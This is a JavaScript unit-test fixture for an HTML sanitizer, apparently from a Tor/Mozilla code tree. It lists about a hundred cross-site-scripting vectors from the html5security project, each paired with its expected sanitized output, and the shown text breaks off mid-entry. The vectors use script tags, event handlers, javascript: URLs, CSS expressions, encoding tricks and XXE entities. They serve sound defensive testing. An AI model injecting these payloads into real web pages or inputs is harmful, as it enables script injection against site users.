parser/xml/test/unit/results.js

Wed, 31 Dec 2014 13:27:57 +0100

author
Michael Schloh von Bennewitz <michael@schloh.com>
date
Wed, 31 Dec 2014 13:27:57 +0100
branch
TOR_BUG_3246
changeset 6
8bccb770b82d
permissions
-rw-r--r--

Ignore runtime configuration files generated during quality assurance.

michael@0 1 // vectors by the html5security project (https://code.google.com/p/html5security/ & Creative Commons 3.0 BY), see CC-BY-LICENSE for the full license
michael@0 2
michael@0 3 var vectors = [
michael@0 4 {
michael@0 5 "data": "<form id=\"test\"></form><button form=\"test\" formaction=\"javascript:alert(1)\">X</button>",
michael@0 6 "sanitized": "<html><head></head><body></body></html>"
michael@0 7 },
michael@0 8 {
michael@0 9 "data": "<meta charset=\"x-imap4-modified-utf7\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi",
michael@0 10 "sanitized": "<html><head></head><body>&amp;ADz&amp;AGn&amp;AG0&amp;AEf&amp;ACA&amp;AHM&amp;AHI&amp;AGO&amp;AD0&amp;AGn&amp;ACA&amp;AG8Abg&amp;AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&amp;ACAAPABi</body></html>"
michael@0 11 },
michael@0 12 {
michael@0 13 "data": "<meta charset=\"x-imap4-modified-utf7\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>",
michael@0 14 "sanitized": "<html><head></head><body>&amp;alert&amp;A7&amp;(1)&amp;R&amp;UA;&amp;&amp;&lt;&amp;A9&amp;11/script&amp;X&amp;&gt;</body></html>"
michael@0 15 },
michael@0 16 {
michael@0 17 "data": "0?<script>Worker(\"#\").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))",
michael@0 18 "sanitized": "<html><head></head><body>0? :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))</body></html>"
michael@0 19 },
michael@0 20 {
michael@0 21 "data": "<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>",
michael@0 22 "sanitized": "<html><head></head><body></body></html>"
michael@0 23 },
michael@0 24 {
michael@0 25 "data": "<script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>",
michael@0 26 "sanitized": "<html><head></head><body></body></html>"
michael@0 27 },
michael@0 28 {
michael@0 29 "data": "<input onfocus=write(1) autofocus>",
michael@0 30 "sanitized": "<html><head></head><body></body></html>"
michael@0 31 },
michael@0 32 {
michael@0 33 "data": "<input onblur=write(1) autofocus><input autofocus>",
michael@0 34 "sanitized": "<html><head></head><body></body></html>"
michael@0 35 },
michael@0 36 {
michael@0 37 "data": "<a style=\"-o-link:'javascript:alert(1)';-o-link-source:current\">X</a>",
michael@0 38 "sanitized": "<html><head></head><body><a>X</a></body></html>"
michael@0 39 },
michael@0 40 {
michael@0 41 "data": "<video poster=javascript:alert(1)//></video>",
michael@0 42 "sanitized": "<html><head></head><body><video controls=\"controls\" poster=\"javascript:alert(1)//\"></video></body></html>"
michael@0 43 },
michael@0 44 {
michael@0 45 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg>",
michael@0 46 "sanitized": "<html><head></head><body></body></html>"
michael@0 47 },
michael@0 48 {
michael@0 49 "data": "<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>",
michael@0 50 "sanitized": "<html><head></head><body><br><br><br><br><br><br>...<br><br><br><br></body></html>"
michael@0 51 },
michael@0 52 {
michael@0 53 "data": "<x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>",
michael@0 54 "sanitized": "<html><head></head><body>01</body></html>"
michael@0 55 },
michael@0 56 {
michael@0 57 "data": "<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>",
michael@0 58 "sanitized": "<html><head></head><body></body></html>"
michael@0 59 },
michael@0 60 {
michael@0 61 "data": "<script>({0:#0=alert/#0#/#0#(0)})</script>",
michael@0 62 "sanitized": "<html><head></head><body></body></html>"
michael@0 63 },
michael@0 64 {
michael@0 65 "data": "X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` >",
michael@0 66 "sanitized": "<html><head></head><body>X</body></html>"
michael@0 67 },
michael@0 68 {
michael@0 69 "data": "<?xml-stylesheet href=\"javascript:alert(1)\"?><root/>",
michael@0 70 "sanitized": "<html><head></head><body></body></html>"
michael@0 71 },
michael@0 72 {
michael@0 73 "data": "<script xmlns=\"http://www.w3.org/1999/xhtml\">&#x61;l&#x65;rt&#40;1)</script>",
michael@0 74 "sanitized": "<html><head></head><body></body></html>"
michael@0 75 },
michael@0 76 {
michael@0 77 "data": "<meta charset=\"x-mac-farsi\">�script �alert(1)//�/script �",
michael@0 78 "sanitized": "<html><head></head><body>�script �alert(1)//�/script �</body></html>"
michael@0 79 },
michael@0 80 {
michael@0 81 "data": "<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>",
michael@0 82 "sanitized": "<html><head></head><body></body></html>"
michael@0 83 },
michael@0 84 {
michael@0 85 "data": "<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>",
michael@0 86 "sanitized": "<html><head></head><body></body></html>"
michael@0 87 },
michael@0 88 {
michael@0 89 "data": "<input onblur=focus() autofocus><input>",
michael@0 90 "sanitized": "<html><head></head><body></body></html>"
michael@0 91 },
michael@0 92 {
michael@0 93 "data": "<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>",
michael@0 94 "sanitized": "<html><head></head><body></body></html>"
michael@0 95 },
michael@0 96 {
michael@0 97 "data": "1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(1)&gt;`>",
michael@0 98 "sanitized": "<html><head></head><body>1</body></html>"
michael@0 99 },
michael@0 100 {
michael@0 101 "data": "<script src=\"#\">{alert(1)}</script>;1",
michael@0 102 "sanitized": "<html><head></head><body>;1</body></html>"
michael@0 103 },
michael@0 104 {
michael@0 105 "data": "+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);",
michael@0 106 "sanitized": "<html><head></head><body>+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);</body></html>"
michael@0 107 },
michael@0 108 {
michael@0 109 "data": "<style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>",
michael@0 110 "sanitized": "<html><head></head><body></body></html>"
michael@0 111 },
michael@0 112 {
michael@0 113 "data": "1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(1)&gt;>",
michael@0 114 "sanitized": "<html><head></head><body>1</body></html>"
michael@0 115 },
michael@0 116 {
michael@0 117 "data": "<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d",
michael@0 118 "sanitized": "<html><head></head><body></body></html>"
michael@0 119 },
michael@0 120 {
michael@0 121 "data": "<style>@import \"data:,*%7bx:expression(write(1))%7D\";</style>",
michael@0 122 "sanitized": "<html><head></head><body></body></html>"
michael@0 123 },
michael@0 124 {
michael@0 125 "data": "<frameset onload=alert(1)>",
michael@0 126 "sanitized": "<html><head></head></html>"
michael@0 127 },
michael@0 128 {
michael@0 129 "data": "<table background=\"javascript:alert(1)\"></table>",
michael@0 130 "sanitized": "<html><head></head><body><table></table></body></html>"
michael@0 131 },
michael@0 132 {
michael@0 133 "data": "<a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(1);\">XXX</a></a><a href=\"javascript:alert(2)\">XXX</a>",
michael@0 134 "sanitized": "<html><head></head><body><a></a><a>XXX</a><a>XXX</a></body></html>"
michael@0 135 },
michael@0 136 {
michael@0 137 "data": "1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>",
michael@0 138 "sanitized": "<html><head></head><body>1</body></html>"
michael@0 139 },
michael@0 140 {
michael@0 141 "data": "1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>",
michael@0 142 "sanitized": "<html><head></head><body>1<a></a></body></html>"
michael@0 143 },
michael@0 144 {
michael@0 145 "data": "<a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:alert(1)\">XXX</a>",
michael@0 146 "sanitized": "<html><head></head><body><a>XXX</a></body></html>"
michael@0 147 },
michael@0 148 {
michael@0 149 "data": "<!--<img src=\"--><img src=x onerror=alert(1)//\">",
michael@0 150 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 151 },
michael@0 152 {
michael@0 153 "data": "<comment><img src=\"</comment><img src=x onerror=alert(1)//\">",
michael@0 154 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 155 },
michael@0 156 {
michael@0 157 "data": "<!-- up to Opera 11.52, FF 3.6.28 -->\r\n<![><img src=\"]><img src=x onerror=alert(1)//\">\r\n\r\n<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ -->\r\n<svg><![CDATA[><image xlink:href=\"]]><img src=xx:x onerror=alert(2)//\"></svg>",
michael@0 158 "sanitized": "<html><head></head><body><img>\n\n\n&gt;&lt;image xlink:href=\"<img></body></html>"
michael@0 159 },
michael@0 160 {
michael@0 161 "data": "<style><img src=\"</style><img src=x onerror=alert(1)//\">",
michael@0 162 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 163 },
michael@0 164 {
michael@0 165 "data": "<li style=list-style:url() onerror=alert(1)></li>\n<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>",
michael@0 166 "sanitized": "<html><head></head><body><li></li>\n<div></div></body></html>"
michael@0 167 },
michael@0 168 {
michael@0 169 "data": "<head><base href=\"javascript://\"/></head><body><a href=\"/. /,alert(1)//#\">XXX</a></body>",
michael@0 170 "sanitized": "<html><head></head><body><a>XXX</a></body></html>"
michael@0 171 },
michael@0 172 {
michael@0 173 "data": "<?xml version=\"1.0\" standalone=\"no\"?>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<style type=\"text/css\">\r\n@font-face {font-family: y; src: url(\"font.svg#x\") format(\"svg\");} body {font: 100px \"y\";}\r\n</style>\r\n</head>\r\n<body>Hello</body>\r\n</html>",
michael@0 174 "sanitized": "<html><head>\n\n</head>\n<body>Hello\n</body></html>"
michael@0 175 },
michael@0 176 {
michael@0 177 "data": "<style>*[{}@import'test.css?]{color: green;}</style>X",
michael@0 178 "sanitized": "<html><head></head><body>X</body></html>"
michael@0 179 },
michael@0 180 {
michael@0 181 "data": "<div style=\"font-family:'foo[a];color:red;';\">XXX</div>",
michael@0 182 "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
michael@0 183 },
michael@0 184 {
michael@0 185 "data": "<div style=\"font-family:foo}color=red;\">XXX</div>",
michael@0 186 "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
michael@0 187 },
michael@0 188 {
michael@0 189 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(1)</script></svg>",
michael@0 190 "sanitized": "<html><head></head><body></body></html>"
michael@0 191 },
michael@0 192 {
michael@0 193 "data": "<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>",
michael@0 194 "sanitized": "<html><head></head><body></body></html>"
michael@0 195 },
michael@0 196 {
michael@0 197 "data": "<OBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"><PARAM NAME=\"DataURL\" VALUE=\"javascript:alert(1)\"></OBJECT>",
michael@0 198 "sanitized": "<html><head></head><body></body></html>"
michael@0 199 },
michael@0 200 {
michael@0 201 "data": "<object data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></object>",
michael@0 202 "sanitized": "<html><head></head><body></body></html>"
michael@0 203 },
michael@0 204 {
michael@0 205 "data": "<embed src=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></embed>",
michael@0 206 "sanitized": "<html><head></head><body></body></html>"
michael@0 207 },
michael@0 208 {
michael@0 209 "data": "<x style=\"behavior:url(test.sct)\">",
michael@0 210 "sanitized": "<html><head></head><body></body></html>"
michael@0 211 },
michael@0 212 {
michael@0 213 "data": "<xml id=\"xss\" src=\"test.htc\"></xml>\r\n<label dataformatas=\"html\" datasrc=\"#xss\" datafld=\"payload\"></label>",
michael@0 214 "sanitized": "<html><head></head><body>\n<label></label></body></html>"
michael@0 215 },
michael@0 216 {
michael@0 217 "data": "<script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>",
michael@0 218 "sanitized": "<html><head></head><body></body></html>"
michael@0 219 },
michael@0 220 {
michael@0 221 "data": "<video><source onerror=\"alert(1)\">",
michael@0 222 "sanitized": "<html><head></head><body><video controls=\"controls\"><source></video></body></html>"
michael@0 223 },
michael@0 224 {
michael@0 225 "data": "<video onerror=\"alert(1)\"><source></source></video>",
michael@0 226 "sanitized": "<html><head></head><body><video controls=\"controls\"><source></video></body></html>"
michael@0 227 },
michael@0 228 {
michael@0 229 "data": "<b <script>alert(1)//</script>0</script></b>",
michael@0 230 "sanitized": "<html><head></head><body><b>alert(1)//0</b></body></html>"
michael@0 231 },
michael@0 232 {
michael@0 233 "data": "<b><script<b></b><alert(1)</script </b></b>",
michael@0 234 "sanitized": "<html><head></head><body><b></b></body></html>"
michael@0 235 },
michael@0 236 {
michael@0 237 "data": "<div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>",
michael@0 238 "sanitized": "<html><head></head><body><div id=\"div1\"></div> <div id=\"div2\"></div></body></html>"
michael@0 239 },
michael@0 240 {
michael@0 241 "data": "<div style=\"[a]color[b]:[c]red\">XXX</div>",
michael@0 242 "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
michael@0 243 },
michael@0 244 {
michael@0 245 "data": "<div style=\"\\63&#9\\06f&#10\\0006c&#12\\00006F&#13\\R:\\000072 Ed;color\\0\\bla:yellow\\0\\bla;col\\0\\00 \\&#xA0or:blue;\">XXX</div>",
michael@0 246 "sanitized": "<html><head></head><body><div>XXX</div></body></html>"
michael@0 247 },
michael@0 248 {
michael@0 249 "data": "<!-- IE 6-8 -->\r\n<x '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n\r\n<!-- IE 6-9 -->\r\n<! '=\"foo\"><x foo='><img src=x onerror=alert(2)//'>\r\n<? '=\"foo\"><x foo='><img src=x onerror=alert(3)//'>",
michael@0 250 "sanitized": "<html><head></head><body>\n\n\n\n</body></html>"
michael@0 251 },
michael@0 252 {
michael@0 253 "data": "<embed src=\"javascript:alert(1)\"></embed> // O10.10�, OM10.0�, GC6�, FF\r\n<img src=\"javascript:alert(2)\">\r\n<image src=\"javascript:alert(2)\"> // IE6, O10.10�, OM10.0�\r\n<script src=\"javascript:alert(3)\"></script> // IE6, O11.01�, OM10.1�",
michael@0 254 "sanitized": "<html><head></head><body> // O10.10�, OM10.0�, GC6�, FF\n<img>\n<img> // IE6, O10.10�, OM10.0�\n // IE6, O11.01�, OM10.1�</body></html>"
michael@0 255 },
michael@0 256 {
michael@0 257 "data": "<!DOCTYPE x[<!ENTITY x SYSTEM \"http://html5sec.org/test.xxe\">]><y>&x;</y>",
michael@0 258 "sanitized": "<!DOCTYPE x[<!entity>\n<html><head></head><body>]&gt;&amp;x;</body></html>"
michael@0 259 },
michael@0 260 {
michael@0 261 "data": "<svg onload=\"javascript:alert(1)\" xmlns=\"http://www.w3.org/2000/svg\"></svg>",
michael@0 262 "sanitized": "<html><head></head><body></body></html>"
michael@0 263 },
michael@0 264 {
michael@0 265 "data": "<?xml version=\"1.0\"?>\n<?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?>\n<root/>",
michael@0 266 "sanitized": "<html><head></head><body></body></html>"
michael@0 267 },
michael@0 268 {
michael@0 269 "data": "<!DOCTYPE x [\r\n\t<!ATTLIST img xmlns CDATA \"http://www.w3.org/1999/xhtml\" src CDATA \"xx:x\"\r\n onerror CDATA \"alert(1)\"\r\n onload CDATA \"alert(2)\">\r\n]><img />",
michael@0 270 "sanitized": "<!DOCTYPE x>\n<html><head></head><body>]&gt;<img></body></html>"
michael@0 271 },
michael@0 272 {
michael@0 273 "data": "<doc xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:html=\"http://www.w3.org/1999/xhtml\">\r\n\t<html:style /><x xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\">XXX</x>\r\n</doc>",
michael@0 274 "sanitized": "<html><head></head><body>\n\tXXX\n</body></html>"
michael@0 275 },
michael@0 276 {
michael@0 277 "data": "<card xmlns=\"http://www.wapforum.org/2001/wml\"><onevent type=\"ontimer\"><go href=\"javascript:alert(1)\"/></onevent><timer value=\"1\"/></card>",
michael@0 278 "sanitized": "<html><head></head><body></body></html>"
michael@0 279 },
michael@0 280 {
michael@0 281 "data": "<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>",
michael@0 282 "sanitized": "<html><head></head><body><div>x</div></body></html>"
michael@0 283 },
michael@0 284 {
michael@0 285 "data": "<// style=x:expression\\28write(1)\\29>",
michael@0 286 "sanitized": "<html><head></head><body></body></html>"
michael@0 287 },
michael@0 288 {
michael@0 289 "data": "<form><button formaction=\"javascript:alert(1)\">X</button>",
michael@0 290 "sanitized": "<html><head></head><body></body></html>"
michael@0 291 },
michael@0 292 {
michael@0 293 "data": "<event-source src=\"event.php\" onload=\"alert(1)\">",
michael@0 294 "sanitized": "<html><head></head><body></body></html>"
michael@0 295 },
michael@0 296 {
michael@0 297 "data": "<a href=\"javascript:alert(1)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\" /></a>",
michael@0 298 "sanitized": "<html><head></head><body><a></a></body></html>"
michael@0 299 },
michael@0 300 {
michael@0 301 "data": "<script<{alert(1)}/></script </>",
michael@0 302 "sanitized": "<html><head></head><body></body></html>"
michael@0 303 },
michael@0 304 {
michael@0 305 "data": "<?xml-stylesheet type=\"text/css\"?><!DOCTYPE x SYSTEM \"test.dtd\"><x>&x;</x>",
michael@0 306 "sanitized": "<!DOCTYPE x SYSTEM \"test.dtd\">\n<html><head></head><body>&amp;x;</body></html>"
michael@0 307 },
michael@0 308 {
michael@0 309 "data": "<?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(write(1))\"/>",
michael@0 310 "sanitized": "<html><head></head><body></body></html>"
michael@0 311 },
michael@0 312 {
michael@0 313 "data": "<?xml-stylesheet type=\"text/xsl\" href=\"#\"?><img xmlns=\"x-schema:test.xdr\"/>",
michael@0 314 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 315 },
michael@0 316 {
michael@0 317 "data": "<object allowscriptaccess=\"always\" data=\"test.swf\"></object>",
michael@0 318 "sanitized": "<html><head></head><body></body></html>"
michael@0 319 },
michael@0 320 {
michael@0 321 "data": "<style>*{x:EXPRESSION(write(1))}</style>",
michael@0 322 "sanitized": "<html><head></head><body></body></html>"
michael@0 323 },
michael@0 324 {
michael@0 325 "data": "<x xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:actuate=\"onLoad\" xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\"/>",
michael@0 326 "sanitized": "<html><head></head><body></body></html>"
michael@0 327 },
michael@0 328 {
michael@0 329 "data": "<?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(2));%7d\"?>",
michael@0 330 "sanitized": "<html><head></head><body></body></html>"
michael@0 331 },
michael@0 332 {
michael@0 333 "data": "<x:template xmlns:x=\"http://www.wapforum.org/2001/wml\" x:ontimer=\"$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)\"><x:timer value=\"1\"/></x:template>",
michael@0 334 "sanitized": "<html><head></head><body></body></html>"
michael@0 335 },
michael@0 336 {
michael@0 337 "data": "<x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"javascript:alert(1)//#x\"/>",
michael@0 338 "sanitized": "<html><head></head><body></body></html>"
michael@0 339 },
michael@0 340 {
michael@0 341 "data": "<x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"test.evt#x\"/>",
michael@0 342 "sanitized": "<html><head></head><body></body></html>"
michael@0 343 },
michael@0 344 {
michael@0 345 "data": "<body oninput=alert(1)><input autofocus>",
michael@0 346 "sanitized": "<html><head></head><body></body></html>"
michael@0 347 },
michael@0 348 {
michael@0 349 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<a xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:href=\"javascript:alert(1)\"><rect width=\"1000\" height=\"1000\" fill=\"white\"/></a>\n</svg>",
michael@0 350 "sanitized": "<html><head></head><body>\n\n</body></html>"
michael@0 351 },
michael@0 352 {
michael@0 353 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n\n<animation xlink:href=\"javascript:alert(1)\"/>\n<animation xlink:href=\"data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E\"/>\n\n<image xlink:href=\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E\"/>\n\n<foreignObject xlink:href=\"javascript:alert(1)\"/>\n<foreignObject xlink:href=\"data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(1)%3C/script%3E\"/>\n\n</svg>",
michael@0 354 "sanitized": "<html><head></head><body>\n\n\n\n\n\n\n\n\n\n</body></html>"
michael@0 355 },
michael@0 356 {
michael@0 357 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<set attributeName=\"onmouseover\" to=\"alert(1)\"/>\n<animate attributeName=\"onunload\" to=\"alert(1)\"/>\n</svg>",
michael@0 358 "sanitized": "<html><head></head><body>\n\n\n</body></html>"
michael@0 359 },
michael@0 360 {
michael@0 361 "data": "<!-- Up to Opera 10.63 -->\r\n<div style=content:url(test2.svg)></div>\r\n\r\n<!-- Up to Opera 11.64 - see link below -->\r\n\r\n<!-- Up to Opera 12.x -->\r\n<div style=\"background:url(test5.svg)\">PRESS ENTER</div>",
michael@0 362 "sanitized": "<html><head></head><body><div></div>\n\n\n\n\n<div>PRESS ENTER</div></body></html>"
michael@0 363 },
michael@0 364 {
michael@0 365 "data": "[A]\n<? foo=\"><script>alert(1)</script>\">\n<! foo=\"><script>alert(1)</script>\">\n</ foo=\"><script>alert(1)</script>\">\n[B]\n<? foo=\"><x foo='?><script>alert(1)</script>'>\">\n[C]\n<! foo=\"[[[x]]\"><x foo=\"]foo><script>alert(1)</script>\">\n[D]\n<% foo><x foo=\"%><script>alert(1)</script>\">",
michael@0 366 "sanitized": "<html><head></head><body>[A]\n\"&gt;\n\"&gt;\n\"&gt;\n[B]\n\"&gt;\n[C]\n\n[D]\n&lt;% foo&gt;</body></html>"
michael@0 367 },
michael@0 368 {
michael@0 369 "data": "<div style=\"background:url(http://foo.f/f oo/;color:red/*/foo.jpg);\">X</div>",
michael@0 370 "sanitized": "<html><head></head><body><div>X</div></body></html>"
michael@0 371 },
michael@0 372 {
michael@0 373 "data": "<div style=\"list-style:url(http://foo.f)\\20url(javascript:alert(1));\">X</div>",
michael@0 374 "sanitized": "<html><head></head><body><div>X</div></body></html>"
michael@0 375 },
michael@0 376 {
michael@0 377 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<handler xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\">alert(1)</handler>\n</svg>",
michael@0 378 "sanitized": "<html><head></head><body>\nalert(1)\n</body></html>"
michael@0 379 },
michael@0 380 {
michael@0 381 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<feImage>\n<set attributeName=\"xlink:href\" to=\"data:image/svg+xml;charset=utf-8;base64,\nPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D\"/>\n</feImage>\n</svg>",
michael@0 382 "sanitized": "<html><head></head><body>\n\n\n\n</body></html>"
michael@0 383 },
michael@0 384 {
michael@0 385 "data": "<iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>\n<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>",
michael@0 386 "sanitized": "<html><head></head><body>\n</body></html>"
michael@0 387 },
michael@0 388 {
michael@0 389 "data": "<!-- IE 5-9 -->\r\n<div id=d><x xmlns=\"><iframe onload=alert(1)\"></div>\n<script>d.innerHTML+='';</script>\r\n\r\n<!-- IE 10 in IE5-9 Standards mode -->\r\n<div id=d><x xmlns='\"><iframe onload=alert(2)//'></div>\n<script>d.innerHTML+='';</script>",
michael@0 390 "sanitized": "<html><head></head><body><div id=\"d\"></div>\n\n\n\n<div id=\"d\"></div>\n</body></html>"
michael@0 391 },
michael@0 392 {
michael@0 393 "data": "<div id=d><div style=\"font-family:'sans\\27\\2F\\2A\\22\\2A\\2F\\3B color\\3Ared\\3B'\">X</div></div>\n<script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>",
michael@0 394 "sanitized": "<html><head></head><body><div id=\"d\"><div>X</div></div>\n</body></html>"
michael@0 395 },
michael@0 396 {
michael@0 397 "data": "XXX<style>\r\n\r\n*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */\r\n\r\n<!--\r\n--><!--*{color:red} /* all UA */\r\n\r\n*{background:url(xx:x //**/\\red/*)} /* IE 6-7 Standards mode */\r\n\r\n</style>",
michael@0 398 "sanitized": "<html><head></head><body>XXX</body></html>"
michael@0 399 },
michael@0 400 {
michael@0 401 "data": "<img[a][b]src=x[d]onerror[c]=[e]\"alert(1)\">",
michael@0 402 "sanitized": "<html><head></head><body></body></html>"
michael@0 403 },
michael@0 404 {
michael@0 405 "data": "<a href=\"[a]java[b]script[c]:alert(1)\">XXX</a>",
michael@0 406 "sanitized": "<html><head></head><body><a>XXX</a></body></html>"
michael@0 407 },
michael@0 408 {
michael@0 409 "data": "<img src=\"x` `<script>alert(1)</script>\"` `>",
michael@0 410 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 411 },
michael@0 412 {
michael@0 413 "data": "<script>history.pushState(0,0,'/i/am/somewhere_else');</script>",
michael@0 414 "sanitized": "<html><head></head><body></body></html>"
michael@0 415 },
michael@0 416 {
michael@0 417 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" id=\"foo\">\r\n<x xmlns=\"http://www.w3.org/2001/xml-events\" event=\"load\" observer=\"foo\" handler=\"data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(1) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar\"/>\r\n</svg>",
michael@0 418 "sanitized": "<html><head></head><body>\n\n</body></html>"
michael@0 419 },
michael@0 420 {
michael@0 421 "data": "<iframe src=\"data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03\"></iframe>",
michael@0 422 "sanitized": "<html><head></head><body></body></html>"
michael@0 423 },
michael@0 424 {
michael@0 425 "data": "<img src onerror /\" '\"= alt=alert(1)//\">",
michael@0 426 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 427 },
michael@0 428 {
michael@0 429 "data": "<title onpropertychange=alert(1)></title><title title=></title>",
michael@0 430 "sanitized": "<html><head><title></title><title title=\"\"></title></head><body></body></html>"
michael@0 431 },
michael@0 432 {
michael@0 433 "data": "<!-- IE 5-8 standards mode -->\r\n<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=xx:x onerror=alert(1)></a>\">\r\n\r\n<!-- IE 5-9 standards mode -->\r\n<!a foo=x=`y><img alt=\"`><img src=xx:x onerror=alert(2)//\">\r\n<?a foo=x=`y><img alt=\"`><img src=xx:x onerror=alert(3)//\">",
